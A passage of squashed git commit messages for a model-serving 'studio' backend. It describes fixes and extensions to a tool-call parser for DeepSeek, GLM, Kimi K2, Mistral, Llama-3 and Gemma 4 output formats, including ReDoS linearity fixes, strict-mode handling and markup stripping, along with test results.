scanning via a new `_strip_mistral_closed_calls` helper called
from `strip_tool_markup`.
Also fix the inference routes' parallel `_TOOL_XML_RE`:
- Same nested-JSON truncation in the Mistral patterns; route the
strip through the parser's balanced-scan helper via a thin
`_strip_tool_xml` wrapper that all existing callers now use.
- Llama-3 `<|python_tag|>[^\n<]*` stopped at any `<`, leaking the
tail of any tool call whose argument contained a literal `<`
(queries, code snippets). Relax to `[^\n]*` which keeps the
strip confined to the actual end-of-line.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tool calling for DeepSeek (R1/V3/V3.1), GLM 4.x, Kimi K2
Adds three more emission-family parsers to tool_call_parser.py so the
shared safetensors / MLX / GGUF agentic loop covers the major open-
weight reasoning families. Patterns ported from llama.cpp
(common/chat-parser.cpp legacy pre-PEG branch), vLLM
(tool_parsers/deepseekv3*, glm4_moe, kimi_k2), and SGLang
(function_call/deepseekv31_detector, glm4_moe_detector, kimik2_detector).
All three references are MIT (llama.cpp) or Apache-2.0 (vLLM, SGLang).
Formats covered:
DeepSeek R1 <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function
<｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>
<｜tool▁calls▁end｜>
-- args wrapped in a Markdown json fence, ``function``
literal prefix per llama.cpp common_chat_parse_
deepseek_r1 (chat-parser.cpp:801-820)
DeepSeek V3/V3.1
<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME
<｜tool▁sep｜>{json}<｜tool▁call▁end｜><｜tool▁calls▁end｜>
-- bare JSON, no code fence, no ``function`` prefix
per llama.cpp common_chat_parse_deepseek_v3_1
(chat-parser.cpp:822-879)
GLM 4.5/4.6/4.7 <tool_call>NAME\n<arg_key>k1</arg_key>
\n<arg_value>v1</arg_value>...</tool_call>
-- strings raw, non-strings JSON-encoded per
chat_template.jinja; multi-call is back-to-back
blocks. Per llama.cpp common_chat_parse_glm_4_5
(chat-parser.cpp:1040-1052)
Kimi K2 <|tool_calls_section_begin|><|tool_call_begin|>
functions.NAME:IDX<|tool_call_argument_begin|>{json}
<|tool_call_end|><|tool_calls_section_end|>
-- bare name recovered by stripping ``functions.``
prefix and ``:IDX`` suffix; full id preserved as
tool_calls[i].id so the roundtrip replays verbatim.
Per llama.cpp common_chat_parse_kimi_k2
(chat-parser.cpp:896-913)
Marker collisions
GLM uses the same ``<tool_call>`` opener as Qwen but with a bare
function name + ``<arg_key>`` body (Qwen has ``\s*{`` after the tag).
The dispatch keeps Qwen first; Qwen's _TC_JSON_START_RE returns no
matches on a GLM emission, so the fall-through to _parse_glm_tool_
calls handles it correctly. Existing Qwen tests confirm zero
regression.
Streaming buffer
TOOL_XML_SIGNALS extended from 5 markers to 12 so the BUFFERING state
machine wakes on every new family's section opener. Added the
DeepSeek alternative markers (ASCII underscores, short ``<｜tool▁calls｜>``
form) because real checkpoints emit those variants.
Strip patterns
_TOOL_CLOSED_PATS adds DeepSeek envelope (``<｜tool▁calls▁begin｜>...
<｜tool▁calls▁end｜>``) and Kimi section (``<|tool_calls_section_begin|>
...<|tool_calls_section_end|>``). _TOOL_ALL_PATS adds the same plus
the unclosed-tail variants so a truncated stream does not leak
markup.
Route gate
_detect_safetensors_features._PARSER_MARKERS grows to include
DeepSeek and Kimi markers plus ``<arg_key>`` (the unique GLM signal).
_TOOL_XML_RE (the route-layer markup-strip regex) gets DeepSeek and
Kimi closed-pair patterns. _TOOL_TEMPLATE_MARKERS in llama_cpp.py
adds ``message['role'] == 'tool'``, ``message['tool_calls']``, and
``tool_calls is defined`` so the classifier recognises DeepSeek's
subscripted-access template style (it has no top-level
``{% if tools %}`` block).
Tests (39 new):
TestParserDeepSeek (7) -- R1 fence, short-form opener, V3.1 bare,
multi-call, with-reasoning, strip,
signal-wakes-streaming
TestParserGLM (6) -- single, mixed types, multi-call,
unclosed-heal, no-Qwen-regression, strip
TestParserKimi (6) -- single, multi-call, dotted-name, unclosed,
strip, signal-wakes-streaming
TestParserCrossFormatRouting (2) -- dispatch routing, signal coverage
TestLoopBasic loop integration (3) -- DeepSeek / GLM / Kimi end-to-end
Capability advertise (3) -- DeepSeek / GLM / Kimi templates flip
supports_tools=True
All 398 targeted tests pass locally (115 safetensors + 27 capability
+ rest of tool / inference / sandbox / model-config suites). Builds
on PR #5620 (parser + healing parity for Llama-3 / Mistral / Gemma 4);
will rebase cleanly onto main once #5620 lands. PR opened as draft -
do not merge until validated against real models for each family.
Sources
- llama.cpp common/chat-parser.cpp lines 801-913, 1040-1052 (MIT)
- vLLM vllm/tool_parsers/deepseekv31_tool_parser.py (Apache-2.0)
- vLLM vllm/tool_parsers/glm4_moe_tool_parser.py (Apache-2.0)
- vLLM vllm/tool_parsers/kimi_k2_tool_parser.py (Apache-2.0)
- SGLang python/sglang/srt/function_call/{deepseekv31,glm4_moe,kimik2}_
detector.py (Apache-2.0)
- Live chat templates: deepseek-ai/DeepSeek-V3.1, zai-org/GLM-4.6,
moonshotai/Kimi-K2-Instruct, unsloth/DeepSeek-V3-0324,
unsloth/GLM-4.5-Air, unsloth/Kimi-K2-Instruct
* studio/routes: make python_tag strip multi-line aware
Earlier revisions of _TOOL_XML_RE in studio.backend.routes.inference
oscillated between two bug shapes:
5615 r"<\|python_tag\|>[^\n<]*" -- stopped at any literal "<"
so code='if x < 10: pass'
leaked '< 10: pass)' to the
user.
5620.1 r"<\|python_tag\|>[^\n]*" -- single-line only; the second
line of
python.call(code="a\nb")
leaked.
The full parser (_parse_llama3_python_tag) already handles both via
balanced-brace scanning, so the parsing path was fine; the LEAK was
in the streaming strip path that runs on every cumulative emission
while content is still arriving.
Switch to r"<\|python_tag\|>(?:[^<]|<(?!\|))*" so the strip consumes:
* any character that is not a "<" (newlines, JSON, code, ...),
* a "<" only when it is NOT followed by "|" (i.e. NOT a Llama-3
sentinel start like <|eot_id|>, <|eom_id|>, <|begin_of_text|>).
This means:
* code='if x < 10' stays inside the strip (5615 fix preserved),
* multi-line code stays inside the strip (5620 round 2),
* the strip terminates at the next Llama-3 sentinel so trailing
assistant content survives.
Tests: TestRoutesPythonTagStrip (8 cases)
pytest test_safetensors_tool_loop.py test_safetensors_capability_advertise.py
-> 118 passed in 1.81s (was 110).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: review follow-ups for DeepSeek / GLM / Kimi tool calling
Four fixes addressing review of the parent commit:
1. GLM <arg_value> coercion: tighten the
json.loads -> ast.literal_eval -> raw cascade to only deserialize
when the body unambiguously looks like a JSON literal (object,
array, JSON-encoded string, true/false/null, or numeric). Strings
like ``True`` / ``None`` (Python literals, not JSON) and arbitrary
prose now stay raw. The bare-numeric / bare-boolean ambiguity with
string args remains an inherent limitation of the template without
schema access -- documented in the new comment. Drops the ast
import entirely (closes Gemini's :1036 suggestion).
2. Kimi K2 bare-counter ids (e.g. ``<|tool_call_begin|>3``) are now
dropped rather than surfaced as a tool literally named "3". Matches
vLLM behaviour; SGLang's schema-infer fallback is out of scope at
the parse site. Real Kimi K2 emissions use ``functions.NAME:IDX``
so this is the exception path.
3. Restore the elaborate ``<|python_tag|>(?:[^<]|<(?!\|))*`` clause in
routes.inference._TOOL_XML_RE -- the simpler ``[^\n<]*`` form
regressed PR #5620's multi-line / literal-``<`` python_tag fix.
Restore ``TestRoutesPythonTagStrip`` (8 tests) adapted to call
``_TOOL_XML_RE.sub`` directly since the ``_strip_tool_xml`` helper
was inlined this PR.
4. Add the spaced and backslash-escaped DeepSeek opener variants
(``<｜tool calls begin｜>``, ``<｜tool\_calls\_begin｜>``) to
``TOOL_XML_SIGNALS`` for streaming-gate parity with
``_DEEPSEEK_BEGIN_RE``.
Also updates the llama.cpp / vLLM citations in the parser docstrings:
``common/chat-parser.cpp`` was split into ``common/chat.cpp`` +
``common/chat-peg-parser.cpp`` by llama.cpp PR #18675, and vLLM
moved the tool parsers from ``vllm/entrypoints/openai/tool_parsers/``
to ``vllm/tool_parsers/``. Pin to pre-refactor commit ``51fa458a92d6``
where the cited line numbers still resolve.
New regression tests in ``test_pr5624_regressions.py`` cover the GLM
coercion heuristic shapes, GLM literal-``<`` in arg_value, Kimi K2
dotted name, Kimi K2 bare-counter drop, DeepSeek V3.1 truncated
mid-stream, and routes-layer strip across all three new families.
Tests:
pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py
studio/backend/tests/test_pr5624_regressions.py -q
-> 170 passed in 1.91s
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten verbose comments in tool-call parser sections
Comments were narrating what the code already says. Cut historical
"earlier revisions used X, then Y" narratives down to one-line WHY
notes where the footgun still matters (canonical heal-key parity,
balanced-brace vs non-greedy regex, ``(?:[^<]|<(?!\|))*`` over
``[^\n<]*``/``[^\n]*``). Drop section-header banners.
No behaviour change. Re-ran:
pytest studio/backend/tests/test_safetensors_tool_loop.py \
studio/backend/tests/test_safetensors_capability_advertise.py -q
-> 118 passed.
Regression replay (parser + _coerce_arguments on the 5 #5615 inputs)
-> 21/21.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: GLM 4.7 no-newline emission + Kimi multi-section parity
Two fixes surfaced by triple-confirm verification against the live
HF chat templates and upstream llama.cpp / vLLM / SGLang parsers.
1. GLM 4.7 silent drop
``zai-org/GLM-4.7/chat_template.jinja`` line 65 uses
``{{- '<tool_call>' + tc.name -}}`` which Jinja strips trailing
whitespace from, so the first ``<arg_key>`` follows the function
name with NO ``\n`` between them. Real emissions look like
``<tool_call>get_weather<arg_key>city</arg_key><arg_value>London
</arg_value></tool_call>``. The previous ``_GLM_TC_OPEN_RE`` ended
the name with ``\n`` so GLM-4.7 calls were silently dropped
(parser returned ``[]``).
Fix: relax the name terminator to a lookahead that accepts EITHER
``\n`` OR the next ``<arg_key>``:
_GLM_TC_OPEN_RE = re.compile(
r"<tool_call>\s*([^\n<{][^\n<]*?)\s*(?=\n|<arg_key>)"
)
The first-char restriction ``[^\n<{]`` still excludes Qwen's
``<tool_call>{json}`` form so the Qwen-vs-GLM dispatch remains
mutually exclusive.
2. Kimi multi-section parity with vLLM / SGLang
``vllm/tool_parsers/kimi_k2_tool_parser.py`` and SGLang's
``kimik2_detector.py`` both use ``re.findall`` and so collect every
``<|tool_calls_section_begin|>...<|tool_calls_section_end|>`` block
in a single stream. The previous implementation stopped at the
first ``<|tool_calls_section_end|>``. Kimi K2 doesn't emit
multi-section in practice, but parity is cheap.
Fix: wrap the existing per-call body parser in an outer loop that
advances past each ``<|tool_calls_section_end|>`` and continues to
the next ``<|tool_calls_section_begin|>``. Body parsing extracted
to ``_parse_kimi_section_body`` for clarity. Truncated final
section is still surfaced via the existing in-body balanced-brace
walk.
Verified independently against the live HF templates:
* GLM-4.7 emission constructed from the live template parses to the
expected ``{name, arguments}`` shape.
* GLM-4.5 / 4.6 newline shape continues to parse (the lookahead also
matches ``\n``).
* Qwen ``<tool_call>{json}`` still dispatches to the Qwen path -- the
first-char restriction stops the GLM regex from biting JSON bodies.
* Kimi two-section stream surfaces both calls in order with full ids
preserved.
* Bare-counter Kimi ids still drop.
Tests added in ``test_pr5624_regressions.py``:
* ``test_glm_4_7_no_newlines_between_name_and_arg_key``
* ``test_glm_4_7_no_newlines_multi_call``
* ``test_glm_4_7_does_not_break_qwen_path``
* ``test_kimi_two_sections_in_one_stream_both_parse``
pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py
studio/backend/tests/test_pr5624_regressions.py -q
-> 174 passed in 1.93s
pytest studio/backend/tests/ -q -k 'not gpu and not llama_cpp_integration'
-> 2038 passed, 15 failed (pre-existing CI gaps).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: parser robustness fixes for PR #5620
Three surgical extensions to the multi-format tool-call parser, each
covering a real fine-tune / template emission shape that the current
parser silently drops. No path narrows; all changes widen what is
accepted.
1. `_parse_tool_call_json` now accepts both `arguments` and
`parameters` keys. A Hermes / Qwen `<tool_call>{json}</tool_call>`
wrapper around a Llama-3.2 fine-tune that emits the `parameters`
key was extracting the tool name and silently discarding the
args, producing a working-shaped call with an empty payload. The
bare-JSON and python_tag paths already accepted both keys; this
path now matches them.
2. `_TC_FUNC_START_RE`, `_TC_PARAM_START_RE`, and `_TC_PARAM_CLOSE_RE`
now also match the attribute form
`<function name="..."><param name="...">v</param></function>` used
by MiniCPM-5 and MiniMax-M2. Names land in either capture group,
and `</param>` is accepted as a short close.
3. `_parse_llama3_bare_json` sentinel-strip now consumes the role
label inserted between `<|start_header_id|>` and
`<|end_header_id|>` by Meta's official Llama-3.x chat template.
Without this, every assistant turn re-fed through the template
prefix `<|start_header_id|>assistant<|end_header_id|>\n\n{json}`
parsed to zero calls, so any history-with-tool-call round-trip
in production silently dropped.
Tests in `studio/backend/tests/test_safetensors_tool_loop.py`:
* `TestParserRobustness::test_tool_call_json_accepts_parameters_key`
* `TestParserRobustness::test_function_xml_attribute_form`
* `TestParserRobustness::test_function_xml_attribute_form_multi_param`
* `TestParserRobustness::test_function_xml_legacy_equals_form_still_works`
(regression guard for the existing `<function=name>` syntax)
* `TestParserRobustness::test_llama3_chat_template_round_trip`
* `TestParserRobustness::test_llama3_round_trip_all_roles`
* `TestParserRobustness::test_llama3_round_trip_with_eot_prefix`
`pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 118 to 125 passed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim verbose comments in tool-call parser sections for PR #5624
Pure comment / docstring tightening on top of the GLM 4.7 + Kimi
multi-section fixes. No behavioural change.
* Drop multi-paragraph prelude and post-refactor citation chatter in
the DeepSeek, GLM and Kimi parser docstrings; keep the shape and
upstream-commit pin.
* Collapse ``parse_tool_calls_from_text``'s 9 per-family blocks into
a single ordered loop with one combined comment.
* Tighten the GLM coercion, Kimi bare-counter and ``_TOOL_XML_RE``
comments to one or two lines each.
* Same trim pass on ``_PARSER_MARKERS`` and the regression-test
docstrings.
Tests:
pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py
studio/backend/tests/test_pr5624_regressions.py -q
-> 174 passed in 2.00s
* Fix O(N^2) DeepSeek V3.1 backtracking for PR #5624
Adversarial input ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>``
followed by a long body that does NOT contain a closing brace caused
the V3 path's ``([^\n<]+?)<｜tool▁sep｜>`` regex to backtrack
quadratically: at each position the lazy quantifier extends one char
at a time looking for a sep that isn't there, taking ~19s on 50k
chars.
Replace the regex search with ``str.find`` on the sep marker plus a
left-walk to recover the name. ``str.find`` is O(N); the walk stops
on ``\n`` (turn boundary), ``<`` (start of a tag), or ``>`` (end of
an optional ``<｜tool▁call▁begin｜>`` prefix). Same observable
behaviour as the regex on every canonical input.
Tests:
test_deepseek_v3_1_huge_truncated_body_is_linear (new) -- 50k chars
must parse in < 1s.
pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py
studio/backend/tests/test_pr5624_regressions.py -q
-> 175 passed in 1.97s
pytest studio/backend/tests/ -q -k 'not gpu and not llama_cpp_integration'
-> 2038 passed, 15 pre-existing failures unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: terminate function-XML body at </function>, not just </tool_call>
`_parse_function_xml` was looking for `</tool_call>` (the Hermes
wrapper) as the body terminator. When a model emits a standalone
`<function=NAME><parameter=K>v</parameter></function>` followed by
explanatory prose (which models routinely do), no `</tool_call>` is
present, so the body extended to end-of-string and the trailing
prose leaked into the LAST parameter value.
Pre-existing on main (the legacy `<function=NAME>` form had this
bug too). Same affects PR #5620's new attribute-form
`<function name="NAME"><param name="K">v</param></function>`
emission used by MiniCPM-5 / MiniMax-M2.
Fix: `_TC_END_TAG_RE` now matches either `</tool_call>` OR
`</function>`. The existing `_TC_FUNC_CLOSE_RE` / `_TC_PARAM_CLOSE_RE`
strips are unchanged. Multi-call inputs still bound each function
at the next `<function=` start, so no over-eager consumption.
New tests:
* `test_function_xml_followed_by_prose` (legacy form + prose)
* `test_function_attribute_xml_followed_by_prose` (attribute form + prose)
Existing `test_code_with_embedded_xml` still passes (a parameter
value containing literal `<a></a>` is preserved because the
embedded close tag is `</a>`, not `</function>`).
`pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 125 to 127 passed.
* Studio: tighten Llama-3.2 bare-JSON guard
A fuzz pass on PR #5811 turned up that ``_parse_llama3_bare_json``
accepted ``parameters`` as a string, contradicting the docstring's
"parameters or arguments is a dict" guard. Prose JSON like
``{"name":"foo","parameters":"a sentence"}`` would wrongly fire the
parser, which the agentic loop would then heal into a real
``foo(query="a sentence")`` call.
Same code lives on this branch, so the same fix applies here.
Tightened guard:
- ``parameters`` must be a dict (Llama-3 spec).
- ``arguments`` may be a dict, or a JSON-encoded string that
decodes to a dict (OpenAI shape, e.g.
``"arguments":"{\"q\":\"x\"}"``). Plain non-JSON strings or
JSON-strings of lists / scalars / null no longer pass.
Mirrors the fix landed in PR #5811 commit 615b8608. Adds the same
4 regression tests under TestParserMultiFormat.
Existing test suite stays green: 127 -> 131 passing.
* Studio: skip non-scalar args in python_tag JSON form
The JSON sub-path of ``_parse_llama3_python_tag`` was fabricating
``{"value": args}`` when the model emitted a non-dict / non-string
``arguments`` value (e.g. ``42``, ``[1,2,3]``, ``null``, ``true``).
This silently turned a malformed emission into a real tool call,
which the agentic loop would then execute with arguments the model
never intended.
Tightened: skip the call instead of fabricating. The same
behaviour now matches the bare-JSON guard tightened earlier
(strict-guard merge from PR #5620, inherited via merge here).
Added a regression test covering the four non-scalar shapes.
Pass count on this branch: 158 -> 159.
Sites in ``_parse_tool_call_json`` and ``_consume_mistral_call``
keep the existing looser behaviour for now; both are reached
only after explicit ``<tool_call>`` / ``[TOOL_CALLS]`` markers
so the false-positive surface there is much narrower.
* studio: fix safetensors tool-call parser gaps vs llama.cpp (Mistral CALL_ID / THINK, attribute-form signal)
Three GGUF-parity fixes to the safetensors tool-call parser, each matching
llama.cpp's reference behaviour:
- Mistral Small 3.2 emits [TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}. The
parser stopped after the name on seeing [CALL_ID] (neither [ARGS] nor {),
dropping the call. Skip an optional [CALL_ID]<id> segment in both the
parse and strip paths. llama.cpp parses this (test-chat.cpp:4785).
- Magistral wraps reasoning in [THINK]...[/THINK]. A [TOOL_CALLS] inside the
reasoning was parsed as a real call, producing a phantom call. Strip a
leading [THINK] block before scanning so only the post-reasoning call
counts (test-chat.cpp:2285); a literal [THINK] inside a later argument is
left intact.
- The standalone MiniCPM-5 / MiniMax-M2 <function name="..."> attribute form
parsed correctly but was absent from TOOL_XML_SIGNALS and the markup strip
patterns, so the streaming safety-net parse was gated off (dropping the
call) and markup leaked into displayed text. Add the signal and broaden
the strip regexes.
Adds regression tests for all three.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: fix GLM and Kimi K2 safetensors tool-call parser gaps vs llama.cpp
Four GGUF-parity fixes for the GLM and Kimi K2 families:
- GLM 4.7 zero-argument inline call <tool_call>name</tool_call> was dropped:
the open-tag lookahead only allowed \n or <arg_key> after the name. Allow
</tool_call> too so a no-arg call parses to empty args (vLLM / SGLang /
llama.cpp all parse it).
- GLM string argument values were stripped, losing significant leading /
trailing whitespace in code / diff arguments. Keep the raw value for the
string fallback and only strip the copy used to probe for a JSON literal,
matching vLLM glm4_moe which never strips string args.
- Kimi K2 calls emitted without the <|tool_calls_section_begin|> wrapper
were dropped. llama.cpp makes the section optional (Kimi can call a tool
straight after reasoning without opening a section); parse a bare
<|tool_call_begin|> when no section is present.
- Kimi K2 malformed / truncated JSON in one call dropped every later call in
the section. Skip the bad call and keep parsing so valid subsequent calls
are recovered (vLLM parity).
Adds regression tests for all four.
* studio: fire safetensors tool calls for the bare-JSON (Llama-3.2) form
The agentic loop's streaming safety-net parse was gated on
has_tool_signal(), which is False for the Llama-3.1 / 3.2 bare-JSON tool
form {"name":..,"parameters":..} (no XML marker). Real tool calls were
therefore dropped: the loop logged "model planned without calling tools",
re-prompted three times, then gave up with zero tool calls, while GGUF's
llama-server parses the same emission natively.
Run parse_tool_calls_from_text() unconditionally in the safety net. The
parser is strict (only fires on a valid tool-call shape) so plain answers
are unaffected. Reproduced on a real unsloth/Llama-3.1-8B-Instruct run:
the model emits {"name":"web_search","parameters":{...}} which now
executes the tool instead of being re-prompted into a no-op.
Adds a loop regression test for the bare-JSON form.
* studio: fire safetensors tool calls for Gemma 4 (native template + stripped parser)
Gemma-4 safetensors fired no tools while its GGUF fired reliably. Three gaps:
- The Studio swaps in the Unsloth "gemma-4" chat template, which does not
render the tools schema (the model's native template does), so the model
never saw the tools. Fall back to the model's native template when the
override template renders identically with and without tools. Same fix
helps any family whose override template drops tools.
- skip_special_tokens strips the <|tool_call> wrapper and <|"|> string
markers, so a streamed Gemma-4 call arrives as a bare call:NAME{k:v, ...}
with unquoted values. Parse that form, keeping commas/braces inside a
code or command value, normalising surrounding quotes, and stripping the
leaked markup from the final answer.
- Without a grammar a small model can loop, repeating one call for the whole
tool budget. Collapse exact-duplicate calls within a turn and force a final
answer after a turn that made no new tool progress (llama-server's lazy
grammar prevents this loop on the GGUF side).
Adds parser tests for the bare/stripped Gemma-4 form.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: complete strict-mode contract and fix parser import paths
Address review findings on the multi-format tool-call parser:
- Honor allow_incomplete=False in the remaining sub-parsers. The Llama-3
<|python_tag|>NAME.call(...) parser, the pre-v11 Mistral [TOOL_CALLS] array
parser, and the Gemma 4 <|tool_call> parser ignored strict mode, so a
truncated call (missing closing paren, ], or <tool_call|>) was still healed
and executed with Auto-Heal disabled. Thread strictness through and reject
the unclosed forms, matching the JSON and function-XML paths.
- Drop the duplicate tool_call_parser import block in llama_cpp.py and the
redundant un-aliased TOOL_XML_SIGNALS; only the _SHARED_TOOL_XML_SIGNALS
alias is used as a value.
- Import _strip_mistral_closed_calls from core.inference.tool_call_parser in
routes/inference.py instead of studio.backend.core... The self-contained
run.py launch mode only puts studio/backend on sys.path, so the absolute
package path raised ModuleNotFoundError on the server-tool strip path.
Add strict-mode regression tests for the truncated Llama-3 dot-call and the
unclosed Mistral array.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden DeepSeek/Kimi tool-call parsing and strip
Address review findings on the DeepSeek and Kimi parsers:
- Honor allow_incomplete=False for DeepSeek. An envelope with no closing
<｜tool▁calls▁end｜> is truncated mid-stream; reject it in strict mode
instead of healing the body out to EOF, matching the strict XML and Mistral
paths.
- Do not skip a following tool call when the current call's end marker is
missing. The DeepSeek V3 and Kimi loops advanced by searching forward for the
next <｜tool▁call▁end｜> / <|tool_call_end|>, which could land on a later
call's end marker and drop the call in between. Advance by the JSON end; the
loop re-locates the next call marker from there.
- Strip truncated DeepSeek and Kimi section blocks in the route-level display
regex. The patterns required the closing marker; add the end-of-text
alternative so a block truncated by EOS does not leak raw markup to the UI.
Add regression tests for the truncated DeepSeek envelope, and for DeepSeek and
Kimi multi-call recovery when the first call's end marker is missing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: preserve XML param indentation and alias Mistral array parameters
Two parser-correctness fixes found by auditing against the model chat templates
and the SGLang / vLLM reference parsers:
- Qwen3.5 XML parameter values lost their leading indentation. The chat template
emits <parameter=k>\nVALUE\n</parameter>, but the parameter-start regex ate the
wrapping newline AND the value's first-line indentation with a trailing \s*,
then str.strip() removed the rest. Narrow the trailing class to horizontal
whitespace only and trim exactly one wrapping newline (via _trim_param_value),
preserving indentation in code/diff arguments. Matches SGLang's qwen3_coder
detector. Applies to both _parse_function_xml (tool_call_parser.py) and the XML
path in tool_healing.py.
- Mistral pre-v11 array objects keyed on parameters dropped their payload.
_consume_mistral_call read only the arguments key; alias parameters the same way
the JSON/XML paths and SGLang's base detector do.
Add regression tests for preserved multi-line indentation and the array
parameters alias.
* Studio: DeepSeek strip sync, Gemma nested args, GLM/Kimi strict mode
Parser-correctness fixes found by auditing DeepSeek/GLM/Kimi against vLLM,
SGLang, and the model chat templates:
- DeepSeek: the short <｜tool▁calls｜> opener (and the space / escaped-underscore
spellings) was parsed but never stripped, so a short-opener envelope leaked raw
markup to the UI. Share one opener alternation between _DEEPSEEK_BEGIN_RE and
the strip patterns (and the route-level display regex) so a signal we parse can
never be left un-stripped.
- Gemma wrapper-less stream: a nested object/array argument (loc:{city:NYC},
labels:[bug,ui]) was kept as a literal string. Parse it recursively when the
bare value is a balanced {} / [], falling back to the raw string for a
truncated value.
- GLM and Kimi ignored allow_incomplete. With Auto-Heal off, a GLM block with no
</tool_call>, a Kimi section with no <|tool_calls_section_end|>, or a Kimi call
with no <|tool_call_end|> are truncated and must be rejected, matching the
strict behavior of the JSON/XML/Mistral/DeepSeek paths and vLLM/SGLang.
Add regression tests for the short-opener strip, the Gemma nested args, and GLM /
Kimi strict-mode rejection.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten tool-call parser comments
Make the comments in the multi-format tool-call parser and its callers succinct:
compress verbose docstrings/blocks to one or two lines, drop ones that restate the
code, and trim the tiny balanced-scanner helpers. Correctness rationale and
upstream provenance (SGLang/llama.cpp parity, the strict-mode / Auto-Heal
contract, whitespace-preservation, and the Unicode / full-width-pipe notes) are
kept in compact form.
Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; parser suite green).
* Studio: tighten DeepSeek/GLM/Kimi parser comments
Compress the comments added for the DeepSeek/GLM/Kimi parsers and the Gemma
wrapper-less helpers to one or two lines, keeping the upstream provenance
(llama.cpp 51fa458a92d6), the O(N^2) / strict-mode rationale, and the vLLM parity
notes intact.
Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; parser suite green).
* Studio: make DeepSeek R1 / GLM parsing linear and close routes strip gaps
Review follow-up for the DeepSeek/GLM/Kimi parser:
- DeepSeek R1 detection used a greedy ``([^\n]+)\n```json`` regex that backtracks
O(N^2) on a fence-less truncated body; scan with str.find instead (mirrors the
V3 path).
- GLM arg pairs used a lazy-group finditer that rescanned to EOF from each bare
<arg_key> in an unclosed body (O(N^2)); walk pairs with str.find.
- The route display strip (_TOOL_XML_RE) accepted fewer DeepSeek openers than the
parser (missed the space / escaped-underscore spellings) and missed bare
section-less Kimi calls, so a call we parse could leak raw markup to the UI.
Reuse the parser's shared _DEEPSEEK_OPEN_RE_SRC and add a bare-Kimi arm.
Add ReDoS-linearity regressions for the R1 and GLM paths, a positive R1
fenced-json parse test, and routes-strip tests for the space/escaped DeepSeek
openers and the bare Kimi call.
* Studio: fix test_mcp_servers _TOOL_XML_RE reconstruction after _DS_OPEN_SRC reuse
The routes strip fix made _TOOL_XML_RE reference the module-level
_DS_OPEN_SRC variable. test_mcp_servers reconstructs the regex by exec-ing
the extracted compile() source in a namespace that only defined _re, so it
raised NameError. Inject _DS_OPEN_SRC into that namespace, matching the same
fix already applied in test_tool_xml_strip.
* Studio: make Llama-3 .call and Mistral-array healing parsing linear
Two more O(n^2) ReDoS paths in the multi-format parser, both reachable from
the agentic loop on a long truncated body with no length cap:
- _LLAMA3_KV_RE.finditer over a .call(...) body retried at every offset of a
long word run / unterminated quote (40K -> 14s). Replace with a hand-scan
that reuses the same key/number/literal sub-regexes via anchored match and
walks the string body by hand, so an unterminated quote is O(n). Verified
byte-identical to the old regex over 200K fuzzed inputs.
- _parse_mistral_array healing ran _balanced_brace_end from every { in the
body (20K -> 17s). Walk top-level objects, advancing past each balanced
{...}; this also drops the phantom call the old scan emitted from a nested
argument object.
Add adversarial-length linearity regressions plus positive .call kwargs and
unclosed-array recovery coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: strengthen #5624 regression assertions and strip-test harness guards
- test_strip_tool_markup_handles_deepseek_envelope used `A or B` where B was the
preservation property the next line already asserts, masking the real check.
Replace with an explicit assertion that the call name and args are stripped.
- The test_tool_xml_strip source-extraction harness reconstructs _TOOL_XML_RE and
_strip_tool_xml_for_display from routes/inference.py via lazy regexes that could
silently grab a shorter slice. Assert the extracted regex carries the DeepSeek /
bare-Kimi arms and the helper body reached the _TOOL_XML_RE.sub call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: honor strict mode in safety-net, keep empty Gemma args, strip attribute-form function XML
- safetensors safety-net parser now forwards allow_incomplete=auto_heal_tool_calls,
matching the draining path, so a late incomplete tool call is not healed and
executed when Auto-Heal is off.
- Gemma empty bare value ({k:}) now serialises as "" instead of invalid {"k":},
which previously dropped the whole call.
- Route _TOOL_XML_RE also strips the <function name="..."> attribute form
(MiniCPM-5 / MiniMax-M2) so it no longer leaks to the UI.
* Studio: linearize wrapper-less Gemma nested-arg parsing and correct parser provenance
- _gemma_parse_value/_gemma_parse_mapping/_gemma_parse_array now parse nested
{}/[] in a single forward pass instead of pre-scanning each subtree with a
balanced-brace walk and re-parsing it. Deeply nested wrapper-less Gemma args
